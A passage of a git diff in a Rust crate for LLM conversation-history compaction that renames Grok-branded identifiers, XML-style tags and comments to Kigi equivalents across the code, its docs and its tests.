                 turns_for_llm.push(T::compaction_summary_item(rest));
@@ -501,9 +501,9 @@ mod tests {
     fn extract_user_queries_wraps_single_user_turn() {
         let turns = vec![MockItem::user("hello world")];
         let out = extract_user_queries_from_turns(&turns, 3_000).expect("got block");
-        assert!(out.starts_with("<grok_user_queries>"));
-        assert!(out.ends_with("</grok_user_queries>"));
-        assert!(out.contains("<grok_query>hello world</grok_query>"));
+        assert!(out.starts_with("<kigi_user_queries>"));
+        assert!(out.ends_with("</kigi_user_queries>"));
+        assert!(out.contains("<kigi_query>hello world</kigi_query>"));
     }
 
     #[test]
@@ -517,8 +517,8 @@ mod tests {
 
     #[test]
     fn extract_prior_user_queries_concatenates_blocks() {
-        let inner = "<grok_user_queries>\n<grok_query>first</grok_query>\n</grok_user_queries>";
-        let inner2 = "<grok_user_queries>\n<grok_query>second</grok_query>\n</grok_user_queries>";
+        let inner = "<kigi_user_queries>\n<kigi_query>first</kigi_query>\n</kigi_user_queries>";
+        let inner2 = "<kigi_user_queries>\n<kigi_query>second</kigi_query>\n</kigi_user_queries>";
         let turns = vec![MockItem::summary(inner), MockItem::summary(inner2)];
         let out = extract_prior_user_queries(&turns).expect("found prior");
         assert!(out.contains("first"));
@@ -533,7 +533,7 @@ mod tests {
 
     #[test]
     fn separate_strips_user_queries_from_summary_item() {
-        let prior = "<grok_user_queries>\n<grok_query>Q1</grok_query>\n</grok_user_queries>\n\n<chunk_summary index=\"0\">S1</chunk_summary>";
+        let prior = "<kigi_user_queries>\n<kigi_query>Q1</kigi_query>\n</kigi_user_queries>\n\n<chunk_summary index=\"0\">S1</chunk_summary>";
         let turns = vec![MockItem::summary(prior), MockItem::user("Q2")];
 
         let sep = separate_prior_user_queries(&turns);
@@ -541,14 +541,14 @@ mod tests {
         assert!(sep.has_prior_compaction);
         let prior = sep.prior_user_queries.expect("prior queries extracted");
         assert!(prior.contains("Q1"));
-        assert!(prior.contains("<grok_user_queries>"));
+        assert!(prior.contains("<kigi_user_queries>"));
 
         assert_eq!(sep.turns_for_llm.len(), 2);
         match &sep.turns_for_llm[0] {
             MockItem::Developer { text, summary } => {
                 assert!(*summary);
                 assert!(text.contains("<chunk_summary"));
-                assert!(!text.contains("<grok_user_queries>"));
+                assert!(!text.contains("<kigi_user_queries>"));
                 assert!(!text.contains("Q1"));
             }
             other => panic!("expected summary item, got {:?}", other),
@@ -558,7 +558,7 @@ mod tests {
 
     #[test]
     fn separate_drops_summary_item_with_no_rest() {
-        let only_queries = "<grok_user_queries>\n<grok_query>Q</grok_query>\n</grok_user_queries>";
+        let only_queries = "<kigi_user_queries>\n<kigi_query>Q</kigi_query>\n</kigi_user_queries>";
         let turns = vec![MockItem::summary(only_queries), MockItem::user("hello")];
 
         let sep = separate_prior_user_queries(&turns);
diff --git a/crates/common/kigi-compaction/src/history/mod.rs b/crates/common/kigi-compaction/src/history/mod.rs
index 2728df7..32c4243 100644
--- a/crates/common/kigi-compaction/src/history/mod.rs
+++ b/crates/common/kigi-compaction/src/history/mod.rs
@@ -3,9 +3,9 @@
 //!
 //! Everything here is generic over [`CompactionItem`](crate::CompactionItem)
 //! / [`CompactionItemBuilder`](crate::CompactionItemBuilder) or pure
-//! string/text manipulation. Harness-bound extraction (Grok chat's
-//! `GrokConversation` traversal, `ChatCompletionRequest` user-message
-//! extraction, `GrokMessage` assembly) stays in the harness crate.
+//! string/text manipulation. Harness-bound extraction (Kigi chat's
+//! `KigiConversation` traversal, `ChatCompletionRequest` user-message
+//! extraction, `KigiMessage` assembly) stays in the harness crate.
 
 pub mod filter;
 pub mod prompt;
diff --git a/crates/common/kigi-compaction/src/history/types.rs b/crates/common/kigi-compaction/src/history/types.rs
index 7e33829..4adcfe2 100644
--- a/crates/common/kigi-compaction/src/history/types.rs
+++ b/crates/common/kigi-compaction/src/history/types.rs
@@ -12,7 +12,7 @@ pub enum CompactionStrategy {
     /// Divide turns into ≤ `dnc_chunk_token_limit` chunks, compact each,
     /// then combine the summaries into a final compaction.
     DivideAndConquer,
-    /// grok-build style full-replace summarization: summarize the selected
+    /// kigi style full-replace summarization: summarize the selected
     /// persisted history range with the code-compaction full-replace prompt and
     /// persist the summary as the durable conversation compaction overlay.
     FullReplace,
diff --git a/crates/common/kigi-compaction/src/history/validate.rs b/crates/common/kigi-compaction/src/history/validate.rs
index 316dd4c..e2d1f1a 100644
--- a/crates/common/kigi-compaction/src/history/validate.rs
+++ b/crates/common/kigi-compaction/src/history/validate.rs
@@ -1,6 +1,6 @@
 //! Compaction result validation (text-level, harness-agnostic).
 //!
-//! The Grok chat's `validate_compaction_result(GrokMessage, …)` wrapper in
+//! The Kigi chat's `validate_compaction_result(KigiMessage, …)` wrapper in
 //! the harness crate extracts the message text and delegates here.
 
 use super::types::CompactionStrategy;
diff --git a/crates/common/kigi-compaction/src/inter_compaction/compact.rs b/crates/common/kigi-compaction/src/inter_compaction/compact.rs
index d83d26b..0fd045b 100644
--- a/crates/common/kigi-compaction/src/inter_compaction/compact.rs
+++ b/crates/common/kigi-compaction/src/inter_compaction/compact.rs
@@ -8,9 +8,9 @@
 //! - **DivideAndConquer** → `config.dnc_chunk_token_limit` → N chunks.
 //!
 //! Everything else — turn filtering, prior-compaction user-query
-//! extraction, chunk summarisation, and the final `<grok_user_queries>`
+//! extraction, chunk summarisation, and the final `<kigi_user_queries>`
 //! + `<chunk_summary>` assembly — is shared. The harness supplies the
-//! candidate items, the *current* user-queries preamble (Grok chat
+//! candidate items, the *current* user-queries preamble (Kigi chat
 //! extracts it from the raw `ChatCompletionRequest`), the sampler, the
 //! token counter, and an observer for metrics.
 
@@ -40,7 +40,7 @@ const UNBOUNDED_CHUNK_LIMIT: u32 = u32::MAX;
 /// into a harness message type.
 #[derive(Debug, Clone)]
 pub struct ChunkedCompactionOutput {
-    /// `<grok_user_queries>` preamble + `<chunk_summary index="i">` blocks.
+    /// `<kigi_user_queries>` preamble + `<chunk_summary index="i">` blocks.
     /// The harness wraps this into its summary-carrier message.
     pub combined_text: String,
     /// Thinking-channel output: `<chunk_analysis>` blocks. Empty when the
@@ -53,7 +53,7 @@ pub struct ChunkedCompactionOutput {
 /// Steps:
 /// 1. Filter items with
 ///    [`filter_turns_for_inter_compaction`](crate::history::filter::filter_turns_for_inter_compaction).
-/// 2. [`separate_prior_user_queries`] — split prior `<grok_user_queries>`
+/// 2. [`separate_prior_user_queries`] — split prior `<kigi_user_queries>`
 ///    blocks out of every prior compaction summary item. The LLM never sees
 ///    them. Shared with intra-compaction's `History` target so both
 ///    pipelines handle re-compactions identically.
@@ -66,11 +66,11 @@ pub struct ChunkedCompactionOutput {
 ///    `thinking` channels into the analysis text.
 ///
 /// `current_user_queries` is the harness-extracted preamble for *this*
-/// round's user messages (Grok chat: verbatim from the raw request, with
+/// round's user messages (Kigi chat: verbatim from the raw request, with
 /// attachment refs). `conversation_id` / `response_id` are threaded
 /// through for log correlation only.
 ///
-/// Observer events (the Grok chat observer maps them to the
+/// Observer events (the Kigi chat observer maps them to the
 /// pre-unification metrics):
 /// - [`InterCompactionObserver::on_recompaction`] when prior-compaction
 ///   summary items are found.
@@ -127,7 +127,7 @@ pub async fn sample_compaction_chunked<T: CompactionItemBuilder + Send + Sync>(
         )));
     }
 
-    // Step 2 — split prior `<grok_user_queries>` out of every prior
+    // Step 2 — split prior `<kigi_user_queries>` out of every prior
     // compaction summary item. The LLM never sees them (it would re-emit
     // them verbatim and snowball across rounds); they are reattached to
     // the final summary via `assemble_user_queries_preamble`. Shared with
diff --git a/crates/common/kigi-compaction/src/inter_compaction/config.rs b/crates/common/kigi-compaction/src/inter_compaction/config.rs
index 90d33c4..a61fc1b 100644
--- a/crates/common/kigi-compaction/src/inter_compaction/config.rs
+++ b/crates/common/kigi-compaction/src/inter_compaction/config.rs
@@ -28,7 +28,7 @@ pub struct InterCompactionConfig {
     /// (Basic strategy ignores this and emits a single chunk.)
     pub dnc_chunk_token_limit: u32,
     /// User messages with character count > this threshold are truncated
-    /// (middle-cut) when assembling the `<grok_user_queries>` preamble.
+    /// (middle-cut) when assembling the `<kigi_user_queries>` preamble.
     /// Applies to both Basic and DivideAndConquer.
     pub user_message_compact_threshold: u32,
 }
diff --git a/crates/common/kigi-compaction/src/inter_compaction/mod.rs b/crates/common/kigi-compaction/src/inter_compaction/mod.rs
index e10293b..a9115d6 100644
--- a/crates/common/kigi-compaction/src/inter_compaction/mod.rs
+++ b/crates/common/kigi-compaction/src/inter_compaction/mod.rs
@@ -4,7 +4,7 @@
 //!
 //! Harness wiring (turn selection from the conversation store, raw-request
 //! user-query extraction, summary-message assembly, persistence) stays
-//! per-harness; the Grok chat host wraps this pipeline.
+//! per-harness; the Kigi chat host wraps this pipeline.
 
 pub mod compact;
 pub mod config;
diff --git a/crates/common/kigi-compaction/src/intra_compaction/compact.rs b/crates/common/kigi-compaction/src/intra_compaction/compact.rs
index 878ebae..1c2fffd 100644
--- a/crates/common/kigi-compaction/src/intra_compaction/compact.rs
+++ b/crates/common/kigi-compaction/src/intra_compaction/compact.rs
@@ -30,7 +30,7 @@ use super::config::{IntraCompactionConfig, IntraCompactionMode, IntraSummarizer}
 use super::observer::IntraCompactionObserver;
 use super::traits::{CompactionStreamProc, CompactionTarget};
 use super::trigger::{IntraCompactionError, IntraCompactionResult, IntraCompactionTrigger};
-// The `Shared` summarizer reuses grok-build's full-replace summarization core
+// The `Shared` summarizer reuses kigi's full-replace summarization core
 // (the shared summarization core lives in `code_compaction`); intra_compaction intentionally
 // depends on `code_compaction` for it.
 use crate::code_compaction::{
@@ -196,14 +196,14 @@ where
     .await
 }
 
-/// `FullReplace` strategy (default): grok-build's full-replace — summarize the
+/// `FullReplace` strategy (default): kigi's full-replace — summarize the
 /// *whole* conversation (prior history + accumulated steps) in one pass and
 /// rebuild context from scratch via [`CompactionTarget::FullReplace`].
 ///
 /// Unlike the partial modes there is no tail-keep selection and no
-/// `<grok_user_queries>` preamble: the shared `code_compaction` summarizer
+/// `<kigi_user_queries>` preamble: the shared `code_compaction` summarizer
 /// (always [`IntraSummarizer::Shared`] here, regardless of `policy.summarizer`)
-/// preserves user intent itself, matching grok-build. The reduction and
+/// preserves user intent itself, matching kigi. The reduction and
 /// `min_compactable_tokens` guards are kept for parity with the partial modes.
 pub async fn apply_full_replace_compaction<T, S, P>(
     stream_proc: &S,
@@ -243,7 +243,7 @@ where
         "[IntraCompaction] starting full replace"
     );
 
-    // 2. Summarize the whole conversation through grok-build's shared core.
+    // 2. Summarize the whole conversation through kigi's shared core.
     //    FullReplace always uses the shared summarizer (it *is* the
     //    `code_compaction` path); `policy.summarizer` is ignored for this mode.
     let summary_text = sample_shared_summary_with_retries(sampler, &source_turns, policy).await?;
@@ -252,7 +252,7 @@ where
     //     the compaction. FullReplace drops the working tail, so append the
     //     harness-supplied `<system-reminder>` (verbatim ids) to the summary so
     //     the model can keep polling/cancelling them. Empty/None → no change.
-    //     Shared with Grok chat inter-compaction via `append_reminder_block` so
+    //     Shared with Kigi chat inter-compaction via `append_reminder_block` so
     //     both inject the reminder into the summary text identically, before the
     //     reduction guard below counts it.
     let summary_text = crate::append_reminder_block(summary_text, active_reminder);
@@ -483,10 +483,10 @@ where
         "[IntraCompaction] starting"
     );
 
-    // 3a. For `History` target, split prior `<grok_user_queries>` blocks
+    // 3a. For `History` target, split prior `<kigi_user_queries>` blocks
     //     out of any prior compaction summary items before sampling — same
     //     primitive inter-compaction uses, so the LLM never sees
-    //     `<grok_user_queries>` and won't re-emit it (which would snowball
+    //     `<kigi_user_queries>` and won't re-emit it (which would snowball
     //     with our explicit preamble across re-compactions). `Steps` target
     //     has no user-queries semantics and skips this entirely.
     let (turns_for_llm, prior_user_queries) = match target {
@@ -503,7 +503,7 @@ where
     // 3b. Sample the summary. The *summarization algorithm* is switchable via
     //     `policy.summarizer`; everything around it — tail selection, the
     //     reduction guard, the prefix-replace commit, the Steps/History modes,
-    //     and the `<grok_user_queries>` preamble below — stays intra's.
+    //     and the `<kigi_user_queries>` preamble below — stays intra's.
     let summary_text = match policy.summarizer {
         // Previous intra algorithm: per-target prompt, bounded retry, and NO
         // output cleaning — the raw model text flows straight to the preamble.
@@ -513,7 +513,7 @@ where
             sample_compaction_with_retries(sampler, &turns_for_llm, &prompt, timeout, policy)
                 .await?
         }
-        // New (default): grok-build's shared summarization core from
+        // New (default): kigi's shared summarization core from
         // `code_compaction` — `build_summary_prompt` + degenerate-reject +
         // `format_compact_summary` cleaning — run intra-locally.
         IntraSummarizer::Shared => {
@@ -521,7 +521,7 @@ where
         }
     };
 
-    // 3c. For `History` target, prepend a `<grok_user_queries>` preamble so
+    // 3c. For `History` target, prepend a `<kigi_user_queries>` preamble so
     //     the original user messages + attachment refs survive the
     //     summarization. Carries forward both prior (from earlier
     //     compactions) and current (from this round's `User` turns) via
@@ -631,14 +631,14 @@ fn build_prompt_for_target(
 
 /// `Shared` summarizer (default): sample through the shared retry loop
 /// [`sample_summary_with_retries`](crate::code_compaction::sample_summary_with_retries)
-/// — grok-build's summarization core (`build_summary_prompt` + bounded retry +
+/// — kigi's summarization core (`build_summary_prompt` + bounded retry +
 /// degenerate-reject + `format_compact_summary` cleaning) — then map the
 /// structured outcome onto [`IntraCompactionError`] and return the *cleaned*
 /// summary on success.
 ///
 /// The classification (degenerate/empty = transient; deterministic vs transient
 /// sampler errors, incl. context-length overflow) lives in the shared loop, so
-/// intra and grok-build stay in lock-step. Outcome mapping:
+/// intra and kigi stay in lock-step. Outcome mapping:
 /// - exhausted empty/degenerate run → [`IntraCompactionError::EmptyResponse`];
 /// - deterministic sampler error (incl. context overflow) →
 ///   [`IntraCompactionError::SamplerBuild`] (terminal);
@@ -656,7 +656,7 @@ where
     T: Send + Sync,
     P: CompactionSampler<Item = T> + ?Sized,
 {
-    // grok-build appends the summarization prompt as the final user message;
+    // kigi appends the summarization prompt as the final user message;
     // there is no separate system prompt for the compaction call.
     let prompt = CompactionPrompt {
         system: String::new(),
@@ -675,7 +675,7 @@ where
     )
     .await
     {
-        // grok-build returns the raw summary and cleans it in its assembler;
+        // kigi returns the raw summary and cleans it in its assembler;
         // intra has no assembler, so it cleans here (pre-refactor behavior).
         Ok(SampledSummary { summary, .. }) => Ok(format_compact_summary(&summary)),
         Err(SampleRetryError::Empty { .. }) => Err(IntraCompactionError::EmptyResponse),
@@ -694,7 +694,7 @@ where
 }
 
 /// Map an [`IntraCompactionError`] to a stable, low-cardinality `status`
-/// metric label. Keep these in sync with the doc string on Grok chat's
+/// metric label. Keep these in sync with the doc string on Kigi chat's
 /// `IntraCompactionCount` metric.
 pub fn error_status_label(err: &IntraCompactionError) -> &'static str {
     match err {
@@ -753,7 +753,7 @@ where
 /// summarizer).
 ///
 /// Structured variants map directly. The `Other` fallback string-matches
-/// the literal error messages produced by the Grok chat sampler —
+/// the literal error messages produced by the Kigi chat sampler —
 /// keep these in sync if either side changes (the
 /// `compaction_sample_error_to_intra*` tests below guard the mapping).
 fn compaction_sample_error_to_intra(err: CompactionSampleError) -> IntraCompactionError {
@@ -882,7 +882,7 @@ mod tests {
 
     #[test]
     fn compaction_sample_error_to_intra_maps_empty_response() {
-        // The literal message emitted by the Grok chat sampler when the
+        // The literal message emitted by the Kigi chat sampler when the
         // response channel produces no content.
         let intra = compaction_sample_error_to_intra(CompactionSampleError::Other(
             anyhow::anyhow!("Compaction scheduler returned no response channel content"),
@@ -1536,7 +1536,7 @@ mod tests {
     }
 
     /// `Arc<MockItem>` also satisfies the builder bound via the blanket impl
-    /// — guards the forwarding that Grok chat (`Arc<GrokTurn>`) relies on.
+    /// — guards the forwarding that Kigi chat (`Arc<KigiTurn>`) relies on.
     #[test]
     fn arc_blanket_impl_forwards_builder_methods() {
         let item = Arc::new(MockItem::user("hello"));
diff --git a/crates/common/kigi-compaction/src/intra_compaction/config.rs b/crates/common/kigi-compaction/src/intra_compaction/config.rs
index a059173..f59a035 100644
--- a/crates/common/kigi-compaction/src/intra_compaction/config.rs
+++ b/crates/common/kigi-compaction/src/intra_compaction/config.rs
@@ -4,7 +4,7 @@ use serde::{Deserialize, Serialize};
 
 /// Which targets intra-compaction may compact.
 ///
-/// - `FullReplace` (default): grok-build's full-replace strategy — summarize
+/// - `FullReplace` (default): kigi's full-replace strategy — summarize
 ///   the *whole* conversation (prior history + accumulated steps) and rebuild
 ///   context from scratch as `[system] + [summary]`. Drives the shared
 ///   `code_compaction` summarizer directly; no tail is kept.
@@ -56,7 +56,7 @@ pub enum IntraSummarizer {
 ///
 /// When `enabled = false` (default), no intra-compaction runs for that agent.
 ///
-/// Uses **percentage** thresholds (borrowed from grok-shell's
+/// Uses **percentage** thresholds (borrowed from kigi-shell's
 /// `CompactionPolicy`) for portability across models with different context
 /// windows.
 ///
@@ -65,7 +65,7 @@ pub enum IntraSummarizer {
 /// LLM call, audit) and a **mode-specific** block whose fields are each read by
 /// only a subset of modes (see the per-field `[...]` tags). In particular,
 /// `FullReplace` — the default — ignores `min_steps_before_compact` at trigger
-/// time (token threshold only, matching grok-build) and also ignores
+/// time (token threshold only, matching kigi) and also ignores
 /// `summarizer`, `target_threshold_percent`, `steps_trigger_ratio`, and
 /// `user_message_truncate_chars`. The field remains on this config for all
 /// modes (YAML / remote agent config / defaults); only enforcement is mode-dependent.
@@ -107,7 +107,7 @@ pub struct IntraCompactionConfig {
     /// **Enforcement:** applied for `StepsOnly` / `HistoryOnly` /
     /// `HistoryThenSteps`. **Ignored** when [`mode`](Self::mode) is
     /// [`IntraCompactionMode::FullReplace`] (token threshold alone, same idea
-    /// as grok-build full-replace auto-compact). Worthless early passes are
+    /// as kigi full-replace auto-compact). Worthless early passes are
     /// still limited by [`min_compactable_tokens`](Self::min_compactable_tokens)
     /// / reduction guards after a trigger.
     pub min_steps_before_compact: u32,
@@ -192,7 +192,7 @@ pub struct IntraCompactionConfig {
     //    preamble). --
     /// [HistoryOnly / HistoryThenSteps] Character threshold above which an
     /// original user message gets middle-truncated when included in the
-    /// `<grok_user_queries>` preamble prepended to the history compaction
+    /// `<kigi_user_queries>` preamble prepended to the history compaction
     /// summary. Mirrors the inter-compaction Basic threshold. Has no
     /// effect for `Steps` target — steps compaction has no user-queries
     /// preamble. Default: `3000`. (Not always exposed by remote agent-config
diff --git a/crates/common/kigi-compaction/src/intra_compaction/mod.rs b/crates/common/kigi-compaction/src/intra_compaction/mod.rs
index 04d2ae4..be39083 100644
--- a/crates/common/kigi-compaction/src/intra_compaction/mod.rs
+++ b/crates/common/kigi-compaction/src/intra_compaction/mod.rs
@@ -3,7 +3,7 @@
 //! [`CompactionItemBuilder`](crate::CompactionItemBuilder).
 //!
 //! Harness wiring (trigger call sites, LLM transport, metrics backends,
-//! state commit) stays per-harness; the Grok chat host
+//! state commit) stays per-harness; the Kigi chat host
 //! wraps these entry points with its tokenizer + metrics observers.
 
 pub mod compact;
diff --git a/crates/common/kigi-compaction/src/intra_compaction/observer.rs b/crates/common/kigi-compaction/src/intra_compaction/observer.rs
index cf8fe4c..cb82460 100644
--- a/crates/common/kigi-compaction/src/intra_compaction/observer.rs
+++ b/crates/common/kigi-compaction/src/intra_compaction/observer.rs
@@ -1,10 +1,10 @@
 //! Observability seam for intra-compaction.
 //!
 //! The shared orchestrator reports terminal outcomes through this trait so
-//! each harness can emit its own metrics (Grok chat: its own metrics
+//! each harness can emit its own metrics (Kigi chat: its own metrics
 //! counters/histograms in the harness crate)
 //! without the shared crate depending on a metrics backend. Emission points
-//! and label values are part of the behavior contract — Grok chat's
+//! and label values are part of the behavior contract — Kigi chat's
 //! observer preserves them byte-for-byte.
 
 use std::time::Duration;
diff --git a/crates/common/kigi-compaction/src/intra_compaction/traits.rs b/crates/common/kigi-compaction/src/intra_compaction/traits.rs
index 01664a9..c26b3f6 100644
--- a/crates/common/kigi-compaction/src/intra_compaction/traits.rs
+++ b/crates/common/kigi-compaction/src/intra_compaction/traits.rs
@@ -20,7 +20,7 @@ pub enum CompactionTarget {
     /// inter-compaction.
     History,
     /// Replace the *whole* conversation (prior history + accumulated steps)
-    /// with a single summary — grok-build's full-replace strategy. No tail is
+    /// with a single summary — kigi's full-replace strategy. No tail is
     /// kept; the read-view is [`CompactionStreamProc::get_all_turns_for_compaction`].
     FullReplace,
 }
@@ -37,8 +37,8 @@ impl CompactionTarget {
 }
 
 /// Minimal interface the compaction orchestrator needs from the agent's
-/// stream processor. Implemented by Grok chat's
-/// `StreamProcessor` (`Item = Arc<GrokTurn>`).
+/// stream processor. Implemented by Kigi chat's
+/// `StreamProcessor` (`Item = Arc<KigiTurn>`).
 ///
 /// Two read-views are exposed:
 ///
@@ -89,7 +89,7 @@ pub trait CompactionStreamProc: Send + Sync {
     ///
     /// The `Self::Item: Send` bound lets the default hold the history vec across
     /// the second `await` while keeping the boxed future `Send`; every concrete
-    /// item type (`Arc<GrokTurn>`) already satisfies it.
+    /// item type (`Arc<KigiTurn>`) already satisfies it.
     async fn get_all_turns_for_compaction(&self) -> Vec<Self::Item>
     where
         Self::Item: Send,
diff --git a/crates/common/kigi-compaction/src/intra_compaction/trigger.rs b/crates/common/kigi-compaction/src/intra_compaction/trigger.rs
index 5b123e0..40487ca 100644
--- a/crates/common/kigi-compaction/src/intra_compaction/trigger.rs
+++ b/crates/common/kigi-compaction/src/intra_compaction/trigger.rs
@@ -111,7 +111,7 @@ pub enum IntraCompactionError {
 /// `min_steps_before_compact` remains on [`IntraCompactionConfig`] for every
 /// mode, but is **not** enforced when
 /// [`mode`](IntraCompactionConfig::mode) is
-/// [`IntraCompactionMode::FullReplace`] — that path matches grok-build's
+/// [`IntraCompactionMode::FullReplace`] — that path matches kigi's
 /// full-replace trigger (token threshold alone) so a large first-step prompt
 /// can still compact. Partial modes still gate on min steps.
 pub fn should_compact(
@@ -200,7 +200,7 @@ mod tests {
         assert_eq!(p.mode, IntraCompactionMode::FullReplace);
         assert_eq!(p.min_steps_before_compact, 3);
         // Field is present; FullReplace only uses the token threshold
-        // (parity with grok-build auto-compact).
+        // (parity with kigi auto-compact).
         let t = should_compact(&p, 90_000, 100_000, 0).expect("should trigger");
         assert_eq!(t.step, 0);
         assert!(should_compact(&p, 90_000, 100_000, 2).is_some());
diff --git a/crates/common/kigi-compaction/src/item.rs b/crates/common/kigi-compaction/src/item.rs
index faf6f65..664d390 100644
--- a/crates/common/kigi-compaction/src/item.rs
+++ b/crates/common/kigi-compaction/src/item.rs
@@ -2,8 +2,8 @@
 //!
 //! The shared compaction algorithms operate over a sequence of *items*
 //! (turns/messages) without knowing the concrete harness type. The chat
-//! harness implements [`CompactionItem`] for its `GrokTurn`;
-//! grok-build implements it for `kigi_sampling_types::ConversationItem`.
+//! harness implements [`CompactionItem`] for its `KigiTurn`;
+//! kigi implements it for `kigi_sampling_types::ConversationItem`.
 //!
 //! Keeping the contract minimal is deliberate: the algorithms only need
 //! enough structure to (a) classify roles, (b) read text, and (c) preserve
@@ -14,18 +14,18 @@
 //!
 //! [`CompactionItemBuilder`] is the *constructive* extension used by the
 //! history-compaction algorithms that need to rebuild items (strip prior
-//! `<grok_user_queries>` blocks, drop tool content from assistant turns,
+//! `<kigi_user_queries>` blocks, drop tool content from assistant turns,
 //! wrap an LLM summary into a carrier item).
 
 /// Harness-agnostic role of a single conversation item.
 ///
-/// This is the common denominator of `GrokRole` (Grok chat) and the
-/// `ConversationItem` variants (grok-build).
+/// This is the common denominator of `KigiRole` (Kigi chat) and the
+/// `ConversationItem` variants (kigi).
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum CompactionRole {
     /// System prompt.
     System,
-    /// Developer prompt (Grok chat) — maps to System on harnesses without a
+    /// Developer prompt (Kigi chat) — maps to System on harnesses without a
     /// distinct developer role.
     Developer,
     /// A user message.
@@ -37,8 +37,8 @@ pub enum CompactionRole {
 }
 
 /// A file attached to a user item, as seen by the shared user-query
-/// extraction (`<grok_file id=".." name=".." />` lines in the
-/// `<grok_user_queries>` preamble).
+/// extraction (`<kigi_file id=".." name=".." />` lines in the
+/// `<kigi_user_queries>` preamble).
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub struct CompactionFileRef {
     /// Stable unique id of the attachment source.
@@ -51,8 +51,8 @@ pub struct CompactionFileRef {
 /// compaction algorithms.
 ///
 /// Implementors:
-/// - Grok chat: `GrokTurn`
-/// - grok-build: `ConversationItem`
+/// - Kigi chat: `KigiTurn`
+/// - kigi: `ConversationItem`
 pub trait CompactionItem {
     /// The harness-agnostic role of this item.
     fn role(&self) -> CompactionRole;
@@ -60,8 +60,8 @@ pub trait CompactionItem {
     /// The item's text content, if any. Tool results and assistant tool-only
     /// turns may have no text.
     ///
-    /// Returns an owned `String` because some harnesses (Grok chat's
-    /// `GrokTurn`) compute the flattened text on demand rather than storing a
+    /// Returns an owned `String` because some harnesses (Kigi chat's
+    /// `KigiTurn`) compute the flattened text on demand rather than storing a
     /// borrowable slice.
     fn text(&self) -> Option<String>;
 
@@ -75,20 +75,20 @@ pub trait CompactionItem {
     /// `false` for all non-assistant items.
     fn has_tool_requests(&self) -> bool;
 
-    /// Whether this item carries a *prior compaction summary* (Grok chat: a
+    /// Whether this item carries a *prior compaction summary* (Kigi chat: a
     /// `Developer` turn with `DeveloperPromptCategory::ConversationCompaction`).
     ///
     /// The basic history filter keeps such items so earlier summaries get
     /// re-summarised instead of dropped, and `separate_prior_user_queries`
-    /// strips their `<grok_user_queries>` blocks before sampling.
+    /// strips their `<kigi_user_queries>` blocks before sampling.
     ///
     /// Required (no default) on purpose: a forgotten implementation or a
     /// missed `Arc` forwarding would silently drop prior summaries on
     /// re-compaction.
     fn is_compaction_summary(&self) -> bool;
 
-    /// File attachments on a (user) item, for the `<grok_file>` lines in the
-    /// `<grok_user_queries>` preamble. Empty for items without attachments.
+    /// File attachments on a (user) item, for the `<kigi_file>` lines in the
+    /// `<kigi_user_queries>` preamble. Empty for items without attachments.
     ///
     /// Required (no default) for the same reason as
     /// [`Self::is_compaction_summary`]: silent attachment loss on compaction
@@ -103,13 +103,13 @@ pub trait CompactionItem {
 /// through generics, never as `dyn`.
 pub trait CompactionItemBuilder: CompactionItem + Clone {
     /// Construct the item that carries a compaction summary back into the
-    /// conversation (Grok chat: a `Developer` turn with category
+    /// conversation (Kigi chat: a `Developer` turn with category
     /// `ConversationCompaction`). The result must satisfy
     /// `is_compaction_summary() == true`.
     fn compaction_summary_item(text: String) -> Self;
 
     /// Rebuild this item keeping only user-visible content, dropping tool
-    /// requests/results (Grok chat: keep only `Channel` contents of an
+    /// requests/results (Kigi chat: keep only `Channel` contents of an
     /// assistant turn). Returns `None` when nothing visible remains.
     ///
     /// Only meaningful for `Assistant` items; the shared filters never call
@@ -120,18 +120,18 @@ pub trait CompactionItemBuilder: CompactionItem + Clone {
 
 /// Write seam for the full-replace **assembler**
 /// ([`crate::code_compaction::assemble::assemble_compacted_history`]):
-/// constructs the typed harness items that make up grok-build's rebuilt
+/// constructs the typed harness items that make up kigi's rebuilt
 /// history.
 ///
 /// This is a sibling of [`CompactionItemBuilder`], not a part of it, on
-/// purpose. `CompactionItemBuilder` is already implemented by Grok chat's
-/// `GrokTurn`; adding these constructors to it as required methods would break
-/// that impl. They are also grok-build-specific (Grok chat's tail-keep path
+/// purpose. `CompactionItemBuilder` is already implemented by Kigi chat's
+/// `KigiTurn`; adding these constructors to it as required methods would break
+/// that impl. They are also kigi-specific (Kigi chat's tail-keep path
 /// has no `user_meta` / `project_instructions` / `system_reminder` carrier
 /// concept), so they live in their own seam that only the full-replace
 /// assembler depends on.
 ///
-/// The grok-build implementor (`ConversationItem`) maps each constructor to the
+/// The kigi implementor (`ConversationItem`) maps each constructor to the
 /// matching factory so the `SyntheticReason` tags the replay / spawn-time
 /// idempotence guards rely on are preserved.
 pub trait CompactionItemFactory: Sized {
@@ -148,7 +148,7 @@ pub trait CompactionItemFactory: Sized {
 }
 
 /// Forward [`CompactionItem`] through shared references so the algorithms can
-/// operate over `&[Arc<T>]` (Grok chat stores turns as `Arc<GrokTurn>`).
+/// operate over `&[Arc<T>]` (Kigi chat stores turns as `Arc<KigiTurn>`).
 impl<T: CompactionItem + ?Sized> CompactionItem for std::sync::Arc<T> {
     fn role(&self) -> CompactionRole {
         (**self).role()
diff --git a/crates/common/kigi-compaction/src/lib.rs b/crates/common/kigi-compaction/src/lib.rs
index a50d41b..cf0e8c3 100644
--- a/crates/common/kigi-compaction/src/lib.rs
+++ b/crates/common/kigi-compaction/src/lib.rs
@@ -6,8 +6,8 @@
 //! stay in each product host (for example `kigi-shell`).
 //!
 //! The crate depends on **neither** a conversation-type crate nor
-//! `kigi-sampling-types`. It is decoupled from both Grok chat and
-//! grok-build hosts through a small set of trait seams:
+//! `kigi-sampling-types`. It is decoupled from both Kigi chat and
+//! kigi hosts through a small set of trait seams:
 //!
 //! - [`CompactionItem`] / [`CompactionRole`] / [`CompactionItemBuilder`] —
 //!   abstracts a single turn and its reconstruction.
@@ -21,10 +21,10 @@
 //!
 //! Compaction styles live in their own modules:
 //!
-//! - [`code_compaction`] — grok-build's whole-session **full-replace**
+//! - [`code_compaction`] — kigi's whole-session **full-replace**
 //!   subsystem (prompt/summary/failure/config, assemble, orchestration).
-//! - [`intra_compaction`] — Grok chat's tail-keep, per-step pass.
-//! - [`inter_compaction`] — Grok chat's chunked, between-turn pass.
+//! - [`intra_compaction`] — Kigi chat's tail-keep, per-step pass.
+//! - [`inter_compaction`] — Kigi chat's chunked, between-turn pass.
 //!
 //! Compaction-type content (parallel subfolders): [`steps`] (the step-level
 //! prompt) and [`history`] (filtering, history prompts, validation +
@@ -34,8 +34,8 @@
 //! [`prompt::CompactionPrompt`], [`select`] (tool-pair-safe tail-keep
